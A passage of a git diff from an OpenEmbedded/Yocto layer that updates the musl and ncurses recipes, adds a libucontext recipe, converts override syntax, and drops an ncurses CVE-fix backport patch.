+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ *
+ */
+
+extern void __attribute__((noreturn)) __stack_chk_fail(void);
+
+void
+__attribute__((noreturn))
+__attribute__((visibility ("hidden")))
+__stack_chk_fail_local (void)
+{
+ __stack_chk_fail ();
+}
diff --git a/meta/recipes-core/musl/libucontext_1.2.bb b/meta/recipes-core/musl/libucontext_1.2.bb
new file mode 100644
index 0000000000..4e34df1439
--- /dev/null
+++ b/meta/recipes-core/musl/libucontext_1.2.bb
@@ -0,0 +1,52 @@
+# Copyright (C) 2019 Khem Raj <raj.khem@gmail.com>
+# Released under the MIT license (see COPYING.MIT for the terms)
+
+SUMMARY = "ucontext implementation featuring glibc-compatible ABI"
+HOMEPAGE = "https://github.com/kaniini/libucontext"
+LICENSE = "ISC"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=ebea527af0602d509b7f4c49533fb1bd"
+SECTION = "libs"
+DEPENDS = ""
+
+SRCREV = "4dde3417b4bb4b1b1545bd913be337680b5e28c3"
+SRC_URI = "git://github.com/kaniini/libucontext;branch=master;protocol=https \
+ "
+
+S = "${WORKDIR}/git"
+
+COMPATIBLE_HOST = ".*-musl.*"
+
+valid_archs = " \
+ x86 x86_64 \
+ ppc ppc64 \
+ mips mips64 \
+ arm aarch64 \
+ s390x \
+"
+
+def map_kernel_arch(a, d):
+ import re
+
+ valid_archs = d.getVar('valid_archs').split()
+
+ if a in valid_archs: return a
+ elif re.match('(i.86|athlon)$', a): return 'x86'
+ elif re.match('x86.64$', a): return 'x86_64'
+ elif re.match('armeb$', a): return 'arm'
+ elif re.match('aarch64$', a): return 'aarch64'
+ elif re.match('aarch64_be$', a): return 'aarch64'
+ elif re.match('aarch64_ilp32$', a): return 'aarch64'
+ elif re.match('aarch64_be_ilp32$', a): return 'aarch64'
+ elif re.match('mips(isa|)(32|)(r6|)(el|)$', a): return 'mips'
+ elif re.match('mips(isa|)64(r6|)(el|)$', a): return 'mips64'
+ elif re.match('p(pc64|owerpc64)(le)', a): return 'ppc64'
+ elif re.match('p(pc|owerpc)', a): return 'ppc'
+ elif re.match('riscv64$', a): return 'riscv64'
+ elif re.match('riscv32$', a): return 'riscv32'
+ else:
+ if not d.getVar("TARGET_OS").startswith("linux"):
+ return a
+ bb.error("cannot map '%s' to a linux kernel architecture" % a)
+
+EXTRA_OEMESON = "-Dcpu=${@map_kernel_arch(d.getVar('TARGET_ARCH'), d)}"
+inherit meson
diff --git a/meta/recipes-core/musl/musl-obstack.bb b/meta/recipes-core/musl/musl-obstack.bb
index 3003935fe5..4df24c013b 100644
--- a/meta/recipes-core/musl/musl-obstack.bb
+++ b/meta/recipes-core/musl/musl-obstack.bb
@@ -4,13 +4,13 @@
SUMMARY = "A standalone library to implement GNU libc's obstack"
DESCRIPTION = "copy + paste of the obstack functions and macros found in GNU gcc libiberty library for use with musl libc"
HOMEPAGE = "https://github.com/pullmoll/musl-obstack"
-LICENSE = "GPL-2.0+"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=3d23e4eef8243efcaab6f0a438078932"
SECTION = "libs"
PV = "1.1"
SRCREV = "d2ad66b0df44a4b784956f7f7f2717131ddc05f4"
-SRC_URI = "git://github.com/pullmoll/musl-obstack"
+SRC_URI = "git://github.com/pullmoll/musl-obstack;branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/musl/musl-utils.bb b/meta/recipes-core/musl/musl-utils.bb
index dd0ce33061..c42dff3a53 100644
--- a/meta/recipes-core/musl/musl-utils.bb
+++ b/meta/recipes-core/musl/musl-utils.bb
@@ -3,7 +3,7 @@
DESCRIPTION = "getconf, getent and iconv implementations for musl"
HOMEPAGE = "https://git.alpinelinux.org/cgit/aports/tree/main/musl"
-LICENSE = "BSD-2-Clause & GPL-2.0+"
+LICENSE = "BSD-2-Clause & GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://LICENSE;md5=9d08215e611db87b357e8674b4b42564"
SECTION = "utils"
@@ -11,7 +11,7 @@ SECTION = "utils"
PV = "20170421"
SRCREV = "fb5630138ccabbbc14a19d372096a04e42573c7d"
-SRC_URI = "git://github.com/boltlinux/musl-utils"
+SRC_URI = "git://github.com/boltlinux/musl-utils;branch=master;protocol=https"
UPSTREAM_CHECK_COMMITS = "1"
@@ -21,7 +21,7 @@ S = "${WORKDIR}/git"
PACKAGES =+ "${PN}-iconv"
-FILES_${PN}-iconv = "${bindir}/iconv"
+FILES:${PN}-iconv = "${bindir}/iconv"
COMPATIBLE_HOST = ".*-musl.*"
diff --git a/meta/recipes-core/musl/musl.inc b/meta/recipes-core/musl/musl.inc
index 0683bf85ed..66468e92ff 100644
--- a/meta/recipes-core/musl/musl.inc
+++ b/meta/recipes-core/musl/musl.inc
@@ -9,19 +9,23 @@ standards-conformance and safety."
HOMEPAGE = "http://www.musl-libc.org/"
LICENSE = "MIT"
SECTION = "libs"
-LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=d0fe2be17bc45ff4a42ade1c13ed6340"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=b03f1cc25363d094011f8f4fd8bcfb68"
INHIBIT_DEFAULT_DEPS = "1"
FILES_SOLIBSDEV = ""
-FILES_${PN} += "${libdir}/lib*${SOLIBSDEV}"
-INSANE_SKIP_${PN} = "dev-so"
+FILES:${PN} += "${libdir}/lib*${SOLIBSDEV}"
+INSANE_SKIP:${PN} = "dev-so"
# Doesn't compile in MIPS16e mode due to use of hand-written
# assembly
MIPS_INSTRUCTION_SET = "mips"
# thumb1 is unsupported
-ARM_INSTRUCTION_SET_armv5 = "arm"
-ARM_INSTRUCTION_SET_armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv4 = "arm"
+# Enable out of tree build
+B = "${WORKDIR}/build"
+
+do_configure[cleandirs] = "${B}"
diff --git a/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch b/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch
index 462d338b96..ba00efe7b3 100644
--- a/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch
+++ b/meta/recipes-core/musl/musl/0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch
@@ -22,11 +22,9 @@ Upstream-Status: Pending
tools/install.sh | 8 +++++---
2 files changed, 6 insertions(+), 4 deletions(-)
-diff --git a/Makefile b/Makefile
-index 8246b78..d1dbe39 100644
--- a/Makefile
+++ b/Makefile
-@@ -215,7 +215,7 @@ $(DESTDIR)$(includedir)/%: $(srcdir)/include/%
+@@ -210,7 +210,7 @@ $(DESTDIR)$(includedir)/%: $(srcdir)/inc
$(INSTALL) -D -m 644 $< $@
$(DESTDIR)$(LDSO_PATHNAME): $(DESTDIR)$(libdir)/libc.so
@@ -35,8 +33,6 @@ index 8246b78..d1dbe39 100644
install-libs: $(ALL_LIBS:lib/%=$(DESTDIR)$(libdir)/%) $(if $(SHARED_LIBS),$(DESTDIR)$(LDSO_PATHNAME),)
-diff --git a/tools/install.sh b/tools/install.sh
-index d913b60..b6a7f79 100755
--- a/tools/install.sh
+++ b/tools/install.sh
@@ -6,18 +6,20 @@
@@ -62,7 +58,7 @@ index d913b60..b6a7f79 100755
m) mode=$OPTARG ;;
?) usage ;;
esac
-@@ -48,7 +50,7 @@ trap 'rm -f "$tmp"' EXIT INT QUIT TERM HUP
+@@ -48,7 +50,7 @@ trap 'rm -f "$tmp"' EXIT INT QUIT TERM H
umask 077
if test "$symlink" ; then
@@ -71,6 +67,3 @@ index d913b60..b6a7f79 100755
else
cat < "$1" > "$tmp"
chmod "$mode" "$tmp"
---
-2.7.4
-
diff --git a/meta/recipes-core/musl/musl/0001-riscv-Define-sigcontext-again.patch b/meta/recipes-core/musl/musl/0001-riscv-Define-sigcontext-again.patch
deleted file mode 100644
index fcb324e15f..0000000000
--- a/meta/recipes-core/musl/musl/0001-riscv-Define-sigcontext-again.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-commit a0993f8f0f161423ecdcb754f282ffd2fe47a7b5
-Author: Rich Felker <dalias@aerifal.cx>
-Date: Wed Oct 2 09:28:03 2019 -0400
-
- reintroduce riscv64 struct sigcontext
-
- commit ab3eb89a8b83353cdaab12ed017a67a7730f90e9 removed it as part of
- correcting the mcontext_t definition, but there is still code using
- struct sigcontext and expecting the member names present in it, most
- notably libgcc_eh. almost all such usage is incorrect, but bring back
- struct sigcontext at least for now so as not to introduce regressions.
-
-Upstream-Status: Pending
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-diff --git a/arch/riscv64/bits/signal.h b/arch/riscv64/bits/signal.h
-index 03fe48c1..2ff4be30 100644
---- a/arch/riscv64/bits/signal.h
-+++ b/arch/riscv64/bits/signal.h
-@@ -6,12 +6,6 @@
- # define SIGSTKSZ 8192
- #endif
-
--#if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
--typedef unsigned long greg_t;
--typedef unsigned long gregset_t[32];
--typedef union __riscv_mc_fp_state fpregset_t;
--#endif
--
- typedef unsigned long __riscv_mc_gp_state[32];
-
- struct __riscv_mc_f_ext_state {
-@@ -41,6 +35,16 @@ typedef struct mcontext_t {
- union __riscv_mc_fp_state __fpregs;
- } mcontext_t;
-
-+#if defined(_GNU_SOURCE) || defined(_BSD_SOURCE)
-+typedef unsigned long greg_t;
-+typedef unsigned long gregset_t[32];
-+typedef union __riscv_mc_fp_state fpregset_t;
-+struct sigcontext {
-+ gregset_t gregs;
-+ fpregset_t fpregs;
-+};
-+#endif
-+
- struct sigaltstack {
- void *ss_sp;
- int ss_flags;
diff --git a/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch b/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
index 6a875a717e..0aeb5eb5c2 100644
--- a/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
+++ b/meta/recipes-core/musl/musl/0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch
@@ -20,11 +20,9 @@ Signed-off-by: Serhey Popovych <serhe.popovych@gmail.com>
ldso/dynlink.c | 4 +++-
2 files changed, 5 insertions(+), 2 deletions(-)
-diff --git a/Makefile b/Makefile
-index b46f8ca4..c07e4ae8 100644
--- a/Makefile
+++ b/Makefile
-@@ -46,7 +46,8 @@ CFLAGS_AUTO = -Os -pipe
+@@ -47,7 +47,8 @@ CFLAGS_AUTO = -Os -pipe
CFLAGS_C99FSE = -std=c99 -ffreestanding -nostdinc
CFLAGS_ALL = $(CFLAGS_C99FSE)
@@ -34,20 +32,18 @@ index b46f8ca4..c07e4ae8 100644
CFLAGS_ALL += $(CPPFLAGS) $(CFLAGS_AUTO) $(CFLAGS)
LDFLAGS_ALL = $(LDFLAGS_AUTO) $(LDFLAGS)
-diff --git a/ldso/dynlink.c b/ldso/dynlink.c
-index ec921dfd..7c119c55 100644
--- a/ldso/dynlink.c
+++ b/ldso/dynlink.c
-@@ -22,6 +22,8 @@
- #include "dynlink.h"
- #include "malloc_impl.h"
+@@ -29,6 +29,8 @@
+ #define realloc __libc_realloc
+ #define free __libc_free
+#define SYS_PATH_DFLT SYSLIBDIR ":" LIBDIR
+
static void error(const char *, ...);
#define MAXP2(a,b) (-(-(a)&-(b)))
-@@ -1038,7 +1040,7 @@ static struct dso *load_library(const char *name, struct dso *needed_by)
+@@ -1094,7 +1096,7 @@ static struct dso *load_library(const ch
sys_path = "";
}
}
@@ -56,6 +52,3 @@ index ec921dfd..7c119c55 100644
fd = path_open(name, sys_path, buf, sizeof buf);
}
pathname = buf;
---
-2.7.4
-
diff --git a/meta/recipes-core/musl/musl_git.bb b/meta/recipes-core/musl/musl_git.bb
index aacff79f7c..04752f40c4 100644
--- a/meta/recipes-core/musl/musl_git.bb
+++ b/meta/recipes-core/musl/musl_git.bb
@@ -4,18 +4,17 @@
require musl.inc
inherit linuxloader
-SRCREV = "2c2477da9a553c0b9b2fa18073a5dcdbe6d395af"
+SRCREV = "f8bdc3048216f41eaaf655524fa286cfb1184a70"
-BASEVER = "1.1.23"
+BASEVER = "1.2.2"
PV = "${BASEVER}+git${SRCPV}"
# mirror is at git://github.com/kraj/musl.git
-SRC_URI = "git://git.musl-libc.org/musl \
+SRC_URI = "git://git.musl-libc.org/musl;branch=master \
file://0001-Make-dynamic-linker-a-relative-symlink-to-libc.patch \
file://0002-ldso-Use-syslibdir-and-libdir-as-default-pathes-to-l.patch \
- file://0001-riscv-Define-sigcontext-again.patch \
"
S = "${WORKDIR}/git"
@@ -30,6 +29,7 @@ DEPENDS = "virtual/${TARGET_PREFIX}binutils \
libssp-nonshared \
"
GLIBC_LDSO = "${@get_glibc_loader(d)}"
+MUSL_LDSO_ARCH = "${@get_musl_loader_arch(d)}"
export CROSS_COMPILE="${TARGET_PREFIX}"
@@ -41,7 +41,7 @@ LDFLAGS += "-Wl,-soname,libc.so"
# disabled automatically due to the optimisation level, but append an explicit
# -fomit-frame-pointer to handle cases where optimisation is set to -O0 or frame
# pointers have been enabled by -fno-omit-frame-pointer earlier in CFLAGS, etc.
-CFLAGS_append_arm = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
+CFLAGS:append:arm = " ${@bb.utils.contains('TUNE_CCARGS', '-mthumb', '-fomit-frame-pointer', '', d)}"
CONFIGUREOPTS = " \
--prefix=${prefix} \
@@ -49,7 +49,7 @@ CONFIGUREOPTS = " \
--bindir=${bindir} \
--libdir=${libdir} \
--includedir=${includedir} \
- --syslibdir=${base_libdir} \
+ --syslibdir=/lib \
"
do_configure() {
@@ -62,32 +62,26 @@ do_compile() {
do_install() {
oe_runmake install DESTDIR='${D}'
-
- install -d ${D}${bindir}
+ install -d ${D}${bindir} ${D}/lib ${D}${sysconfdir}
+ echo "${base_libdir}" > ${D}${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path
+ echo "${libdir}" >> ${D}${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path
rm -f ${D}${bindir}/ldd ${D}${GLIBC_LDSO}
- lnr ${D}${libdir}/libc.so ${D}${bindir}/ldd
- lnr ${D}${libdir}/libc.so ${D}${GLIBC_LDSO}
- for l in crypt dl m pthread resolv rt util xnet
- do
- ln -sf libc.so ${D}${libdir}/lib$l.so
- done
- for i in libc.so.6 libcrypt.so.1 libdl.so.2 libm.so.6 libpthread.so.0 libresolv.so.2 librt.so.1 libutil.so.1; do
- ln -sf libc.so ${D}${libdir}/$i
- done
+ ln -rs ${D}${libdir}/libc.so ${D}${bindir}/ldd
}
-PACKAGES =+ "${PN}-glibc-compat"
-
-FILES_${PN}-glibc-compat += "\
- ${libdir}/libc.so.6 ${libdir}/libcrypt.so.1 \
- ${libdir}/libdl.so.2 ${libdir}/libm.so.6 \
- ${libdir}/libpthread.so.0 ${libdir}/libresolv.so.2 \
- ${libdir}/librt.so.1 ${libdir}/libutil.so.1 \
- ${GLIBC_LDSO} \
- "
+FILES:${PN} += "/lib/ld-musl-${MUSL_LDSO_ARCH}.so.1 ${sysconfdir}/ld-musl-${MUSL_LDSO_ARCH}.path"
+FILES:${PN}-staticdev = "${libdir}/libc.a"
+FILES:${PN}-dev =+ "${libdir}/libcrypt.a ${libdir}/libdl.a ${libdir}/libm.a \
+ ${libdir}/libpthread.a ${libdir}/libresolv.a \
+ ${libdir}/librt.a ${libdir}/libutil.a ${libdir}/libxnet.a \
+ "
-RDEPENDS_${PN}-dev += "linux-libc-headers-dev bsd-headers-dev libssp-nonshared-staticdev"
-RPROVIDES_${PN}-dev += "libc-dev virtual-libc-dev"
-RPROVIDES_${PN} += "ldd libsegfault rtld(GNU_HASH)"
+RDEPENDS:${PN}-dev += "linux-libc-headers-dev bsd-headers-dev libssp-nonshared-staticdev"
+RPROVIDES:${PN}-dev += "libc-dev virtual-libc-dev"
+RPROVIDES:${PN} += "ldd rtld(GNU_HASH)"
LEAD_SONAME = "libc.so"
+INSANE_SKIP:${PN}-dev = "staticdev"
+INSANE_SKIP:${PN} = "libdir"
+
+UPSTREAM_CHECK_COMMITS = "1"
diff --git a/meta/recipes-core/ncurses/files/0001-ncurses-selective-backport-of-20191012-patch.patch b/meta/recipes-core/ncurses/files/0001-ncurses-selective-backport-of-20191012-patch.patch
deleted file mode 100644
index 7870c4ba32..0000000000
--- a/meta/recipes-core/ncurses/files/0001-ncurses-selective-backport-of-20191012-patch.patch
+++ /dev/null
@@ -1,169 +0,0 @@
-From 064b77f173337aa790f1cec0d741bfbc61a33d31 Mon Sep 17 00:00:00 2001
-From: Trevor Gamblin <trevor.gamblin@windriver.com>
-Date: Fri, 18 Oct 2019 09:57:43 -0400
-Subject: [PATCH] ncurses: selective backport of 20191012 patch
-
-Upstream-Status: Backport [https://salsa.debian.org/debian/ncurses/commit/243908b1e3d81]
-
-Contents of the upstream patch that are not applied to comp_hash.c,
-parse_entry.c, or dump_entry.c have been omitted.
-
-CVE: CVE-2019-17594
-CVE: CVE-2019-17595
-
-Signed-off-by: Trevor Gamblin <trevor.gamblin@windriver.com>
-
----
- ncurses/tinfo/comp_hash.c | 14 ++++++++++----
- ncurses/tinfo/parse_entry.c | 32 ++++++++++++++++----------------
- progs/dump_entry.c | 7 ++++---
- 3 files changed, 30 insertions(+), 23 deletions(-)
-
-diff --git a/ncurses/tinfo/comp_hash.c b/ncurses/tinfo/comp_hash.c
-index 21f165ca..a62d38f9 100644
---- a/ncurses/tinfo/comp_hash.c
-+++ b/ncurses/tinfo/comp_hash.c
-@@ -44,7 +44,7 @@
- #include <tic.h>
- #include <hashsize.h>
-
--MODULE_ID("$Id: comp_hash.c,v 1.49 2019/03/10 00:06:48 tom Exp $")
-+MODULE_ID("$Id: comp_hash.c,v 1.51 2019/10/12 16:32:13 tom Exp $")
-
- /*
- * Finds the entry for the given string in the hash table if present.
-@@ -63,7 +63,9 @@ _nc_find_entry(const char *string,
-
- hashvalue = data->hash_of(string);
-
-- if (data->table_data[hashvalue] >= 0) {
-+ if (hashvalue >= 0
-+ && (unsigned) hashvalue < data->table_size
-+ && data->table_data[hashvalue] >= 0) {
-
- real_table = _nc_get_table(termcap);
- ptr = real_table + data->table_data[hashvalue];
-@@ -96,7 +98,9 @@ _nc_find_type_entry(const char *string,
- const HashData *data = _nc_get_hash_info(termcap);
- int hashvalue = data->hash_of(string);
-
-- if (data->table_data[hashvalue] >= 0) {
-+ if (hashvalue >= 0
-+ && (unsigned) hashvalue < data->table_size
-+ && data->table_data[hashvalue] >= 0) {
- const struct name_table_entry *const table = _nc_get_table(termcap);
-
- ptr = table + data->table_data[hashvalue];
-@@ -124,7 +128,9 @@ _nc_find_user_entry(const char *string)
-
- hashvalue = data->hash_of(string);
-
-- if (data->table_data[hashvalue] >= 0) {
-+ if (hashvalue >= 0
-+ && (unsigned) hashvalue < data->table_size
-+ && data->table_data[hashvalue] >= 0) {
-
- real_table = _nc_get_userdefs_table();
- ptr = real_table + data->table_data[hashvalue];
-diff --git a/ncurses/tinfo/parse_entry.c b/ncurses/tinfo/parse_entry.c
-index f8cca8b5..064376c5 100644
---- a/ncurses/tinfo/parse_entry.c
-+++ b/ncurses/tinfo/parse_entry.c
-@@ -47,7 +47,7 @@
- #include <ctype.h>
- #include <tic.h>
-
--MODULE_ID("$Id: parse_entry.c,v 1.97 2019/08/03 23:10:38 tom Exp $")
-+MODULE_ID("$Id: parse_entry.c,v 1.98 2019/10/12 00:50:31 tom Exp $")
-
- #ifdef LINT
- static short const parametrized[] =
-@@ -654,12 +654,12 @@ _nc_capcmp(const char *s, const char *t)
- }
-
- static void
--append_acs0(string_desc * dst, int code, int src)
-+append_acs0(string_desc * dst, int code, char *src, size_t off)
- {
-- if (src != 0) {
-+ if (src != 0 && off < strlen(src)) {
- char temp[3];
- temp[0] = (char) code;
-- temp[1] = (char) src;
-+ temp[1] = src[off];
- temp[2] = 0;
- _nc_safe_strcat(dst, temp);
- }
-@@ -669,7 +669,7 @@ static void
- append_acs(string_desc * dst, int code, char *src)
- {
- if (VALID_STRING(src) && strlen(src) == 1) {
-- append_acs0(dst, code, *src);
-+ append_acs0(dst, code, src, 0);
- }
- }
-
-@@ -1038,17 +1038,17 @@ postprocess_terminfo(TERMTYPE2 *tp)
- _nc_str_init(&result, buf2, sizeof(buf2));
- _nc_safe_strcat(&result, acs_chars);
-
-- append_acs0(&result, 'l', box_chars_1[0]); /* ACS_ULCORNER */
-- append_acs0(&result, 'q', box_chars_1[1]); /* ACS_HLINE */
-- append_acs0(&result, 'k', box_chars_1[2]); /* ACS_URCORNER */
-- append_acs0(&result, 'x', box_chars_1[3]); /* ACS_VLINE */
-- append_acs0(&result, 'j', box_chars_1[4]); /* ACS_LRCORNER */
-- append_acs0(&result, 'm', box_chars_1[5]); /* ACS_LLCORNER */
-- append_acs0(&result, 'w', box_chars_1[6]); /* ACS_TTEE */
-- append_acs0(&result, 'u', box_chars_1[7]); /* ACS_RTEE */
-- append_acs0(&result, 'v', box_chars_1[8]); /* ACS_BTEE */
-- append_acs0(&result, 't', box_chars_1[9]); /* ACS_LTEE */
-- append_acs0(&result, 'n', box_chars_1[10]); /* ACS_PLUS */
-+ append_acs0(&result, 'l', box_chars_1, 0); /* ACS_ULCORNER */
-+ append_acs0(&result, 'q', box_chars_1, 1); /* ACS_HLINE */
-+ append_acs0(&result, 'k', box_chars_1, 2); /* ACS_URCORNER */
-+ append_acs0(&result, 'x', box_chars_1, 3); /* ACS_VLINE */
-+ append_acs0(&result, 'j', box_chars_1, 4); /* ACS_LRCORNER */
-+ append_acs0(&result, 'm', box_chars_1, 5); /* ACS_LLCORNER */
-+ append_acs0(&result, 'w', box_chars_1, 6); /* ACS_TTEE */
-+ append_acs0(&result, 'u', box_chars_1, 7); /* ACS_RTEE */
-+ append_acs0(&result, 'v', box_chars_1, 8); /* ACS_BTEE */
-+ append_acs0(&result, 't', box_chars_1, 9); /* ACS_LTEE */
-+ append_acs0(&result, 'n', box_chars_1, 10); /* ACS_PLUS */
-
- if (buf2[0]) {
- acs_chars = _nc_save_str(buf2);
-diff --git a/progs/dump_entry.c b/progs/dump_entry.c
-index d0e420ec..8a47084a 100644
---- a/progs/dump_entry.c
-+++ b/progs/dump_entry.c
-@@ -39,7 +39,7 @@
- #include "termsort.c" /* this C file is generated */
- #include <parametrized.h> /* so is this */
-
--MODULE_ID("$Id: dump_entry.c,v 1.173 2019/05/11 21:02:24 tom Exp $")
-+MODULE_ID("$Id: dump_entry.c,v 1.175 2019/10/12 15:59:07 tom Exp $")
-
- #define DISCARD(string) string = ABSENT_STRING
- #define PRINTF (void) printf
-@@ -1136,7 +1136,8 @@ fmt_entry(TERMTYPE2 *tterm,
- *d++ = '\\';
- *d = ':';
- } else if (*d == '\\') {
-- *++d = *s++;
-+ if ((*++d = *s++) == '\0')
-+ break;
- }
- d++;
- *d = '\0';
-@@ -1396,7 +1397,7 @@ one_one_mapping(const char *mapping)
-
- if (VALID_STRING(mapping)) {
- int n = 0;
-- while (mapping[n] != '\0') {
-+ while (mapping[n] != '\0' && mapping[n + 1] != '\0') {
- if (isLine(mapping[n]) &&
- mapping[n] != mapping[n + 1]) {
- result = FALSE;
---
-2.17.1
-
diff --git a/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch b/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
index 572195611e..66f26c06ab 100644
--- a/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
+++ b/meta/recipes-core/ncurses/files/0002-configure-reproducible.patch
@@ -1,7 +1,7 @@
-From 2a53c03ffa90f0050a949fc5920f0df3e668ff42 Mon Sep 17 00:00:00 2001
+From ec87e53066a9942e9aaba817d71268342f5e83b9 Mon Sep 17 00:00:00 2001
From: Hongxu Jia <hongxu.jia@windriver.com>
Date: Wed, 16 Aug 2017 14:45:27 +0800
-Subject: [PATCH 2/2] configure: reproducible
+Subject: [PATCH] configure: reproducible
"configure" enforces -U for ar flags, breaking deterministic builds.
The flag was added to fix some vaguely specified "recent POSIX binutil
@@ -13,23 +13,21 @@ Signed-off-by: Juro Bystricky <juro.bystricky@intel.com>
Rebase to 6.1
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
configure | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure b/configure
-index adead92..fa4fdb7 100755
+index 421cf859..a1b7840d 100755
--- a/configure
+++ b/configure
-@@ -4503,7 +4503,7 @@ if test "${cf_cv_ar_flags+set}" = set; then
- else
-
- cf_cv_ar_flags=unknown
-- for cf_ar_flags in -curvU -curv curv -crv crv -cqv cqv -rv rv
-+ for cf_ar_flags in -curv curv -crv crv -cqv cqv -rv rv
- do
+@@ -5072,7 +5072,7 @@ else
+ ;;
+ (*)
+ cf_cv_ar_flags=unknown
+- for cf_ar_flags in -curvU -curv curv -crv crv -cqv cqv -rv rv
++ for cf_ar_flags in -curv curv -crv crv -cqv cqv -rv rv
+ do
- # check if $ARFLAGS already contains this choice
---
-1.8.3.1
-
+ # check if $ARFLAGS already contains this choice
diff --git a/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch b/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch
new file mode 100644
index 0000000000..a15694d4d4
--- /dev/null
+++ b/meta/recipes-core/ncurses/files/0003-gen-pkgconfig.in-Do-not-include-LDFLAGS-in-generated.patch
@@ -0,0 +1,30 @@
+From 10cd0c12a6e14fb4f0498c299c1dd32720b710da Mon Sep 17 00:00:00 2001
+From: Nathan Rossi <nathan@nathanrossi.com>
+Date: Mon, 14 Dec 2020 13:39:02 +1000
+Subject: [PATCH] gen-pkgconfig.in: Do not include LDFLAGS in generated pc
+ files
+
+Including the LDFLAGS in the pkgconfig output is problematic as OE
+includes build host specific paths and options (e.g. uninative and
+'-Wl,--dynamic-linker=').
+
+Upstream-Status: Inappropriate [OE Specific]
+Signed-off-by: Nathan Rossi <nathan@nathanrossi.com>
+
+---
+ misc/gen-pkgconfig.in | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/misc/gen-pkgconfig.in b/misc/gen-pkgconfig.in
+index a45dd54f..85273054 100644
+--- a/misc/gen-pkgconfig.in
++++ b/misc/gen-pkgconfig.in
+@@ -83,7 +83,7 @@ if [ "$includedir" != "/usr/include" ]; then
+ fi
+
+ lib_flags=
+-for opt in -L$libdir @EXTRA_PKG_LDFLAGS@ @LIBS@
++for opt in -L$libdir @LIBS@
+ do
+ case $opt in
+ -l*) # LIBS is handled specially below
diff --git a/meta/recipes-core/ncurses/files/config.cache b/meta/recipes-core/ncurses/files/config.cache
deleted file mode 100644
index 6a9217d5bb..0000000000
--- a/meta/recipes-core/ncurses/files/config.cache
+++ /dev/null
@@ -1,4 +0,0 @@
-#! /bin/sh
-
-cf_cv_func_nanosleep=yes
-cf_cv_func_mkstemp=yes
diff --git a/meta/recipes-core/ncurses/ncurses.inc b/meta/recipes-core/ncurses/ncurses.inc
index 5f2cc35823..a0ecd8a80b 100644
--- a/meta/recipes-core/ncurses/ncurses.inc
+++ b/meta/recipes-core/ncurses/ncurses.inc
@@ -2,10 +2,10 @@ SUMMARY = "The New Curses library"
DESCRIPTION = "SVr4 and XSI-Curses compatible curses library and terminfo tools including tic, infocmp, captoinfo. Supports color, multiple highlights, forms-drawing characters, and automatic recognition of keypad and function-key sequences. Extensions include resizable windows and mouse support on both xterm and Linux console using the gpm library."
HOMEPAGE = "http://www.gnu.org/software/ncurses/ncurses.html"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://ncurses/base/version.c;beginline=1;endline=27;md5=cbc180a8c44ca642e97c35452fab5f66"
+LIC_FILES_CHKSUM = "file://ncurses/base/version.c;beginline=1;endline=27;md5=5526f2f3a29edc95538b368a4771edda"
SECTION = "libs"
DEPENDS = "ncurses-native"
-DEPENDS_class-native = ""
+DEPENDS:class-native = ""
BINCONFIG = "${bindir}/ncurses5-config ${bindir}/ncursesw5-config \
${bindir}/ncurses6-config ${bindir}/ncursesw6-config"
@@ -13,10 +13,12 @@ BINCONFIG = "${bindir}/ncurses5-config ${bindir}/ncursesw5-config \
inherit autotools binconfig-disabled multilib_header pkgconfig
# Upstream has useful patches at times at ftp://invisible-island.net/ncurses/
-SRC_URI = "git://salsa.debian.org/debian/ncurses.git;protocol=https"
+SRC_URI = "git://salsa.debian.org/debian/ncurses.git;protocol=https;branch=master"
EXTRA_AUTORECONF = "-I m4"
